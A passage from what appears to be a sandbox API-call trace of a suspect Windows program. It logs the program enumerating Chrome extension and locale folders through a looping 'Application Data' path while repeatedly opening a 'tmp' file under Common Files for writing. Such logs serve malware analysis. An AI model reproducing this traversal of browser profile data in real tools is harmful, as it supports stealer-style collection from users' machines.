lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.333] GetFileType (hFile=0x128) returned 0x1 [0137.333] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.379] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.379] GetLastError () returned 0x12 [0137.379] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0137.379] GetLastError () returned 0x12 [0137.379] AreFileApisANSI () returned 1 [0137.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0137.379] GetFileType (hFile=0x194) returned 0x1 [0137.379] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x26, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0137.380] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0137.380] GetLastError () returned 0x12 [0137.380] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0137.380] GetLastError () returned 0x12 [0137.380] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0137.380] GetLastError () returned 0x12 [0137.380] AreFileApisANSI () returned 1 [0137.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0137.380] GetFileType (hFile=0x18c) returned 0x1 [0137.380] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0137.381] AreFileApisANSI () returned 1 [0137.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0137.381] GetFileType (hFile=0x190) returned 0x1 [0137.381] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0137.381] AreFileApisANSI () returned 1 [0137.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0137.381] GetFileType (hFile=0x194) returned 0x1 [0137.384] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x141, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0137.385] AreFileApisANSI () returned 1 [0137.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.385] GetFileType (hFile=0x128) returned 0x1 [0137.385] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.385] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.385] GetLastError () returned 0x12 [0137.385] AreFileApisANSI () returned 1 [0137.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.386] GetFileType (hFile=0x128) returned 0x1 [0137.386] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.427] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.427] GetLastError () returned 0x12 [0137.427] AreFileApisANSI () returned 1 [0137.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.427] GetFileType (hFile=0x128) returned 0x1 [0137.427] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.428] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.428] GetLastError () returned 0x12 [0137.428] AreFileApisANSI () returned 1 [0137.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.428] GetFileType (hFile=0x128) returned 0x1 [0137.428] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.472] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.472] GetLastError () returned 0x12 [0137.472] AreFileApisANSI () returned 1 [0137.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.472] GetFileType (hFile=0x128) returned 0x1 [0137.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.473] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.473] GetLastError () returned 0x12 [0137.473] AreFileApisANSI () returned 1 [0137.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.473] GetFileType (hFile=0x128) returned 0x1 [0137.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.519] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.521] GetLastError () returned 0x12 [0137.521] AreFileApisANSI () returned 1 [0137.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.521] GetFileType (hFile=0x128) returned 0x1 [0137.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.522] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.522] GetLastError () returned 0x12 [0137.522] AreFileApisANSI () returned 1 [0137.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.522] GetFileType (hFile=0x128) returned 0x1 [0137.522] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e72c10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e72c10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.566] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.566] GetLastError () returned 0x12 [0137.566] AreFileApisANSI () returned 1 [0137.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.566] GetFileType (hFile=0x128) returned 0x1 [0137.567] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.567] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.567] GetLastError () returned 0x12 [0137.567] AreFileApisANSI () returned 1 [0137.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.567] GetFileType (hFile=0x128) returned 0x1 [0137.567] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.614] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.614] GetLastError () returned 0x12 [0137.614] AreFileApisANSI () returned 1 [0137.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.614] GetFileType (hFile=0x128) returned 0x1 [0137.614] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.615] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.615] GetLastError () returned 0x12 [0137.615] AreFileApisANSI () returned 1 [0137.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.615] GetFileType (hFile=0x128) returned 0x1 [0137.615] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.659] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.660] GetLastError () returned 0x12 [0137.660] AreFileApisANSI () returned 1 [0137.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.660] GetFileType (hFile=0x128) returned 0x1 [0137.660] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.660] FindClose (in: hFindFile=0x7d18b0 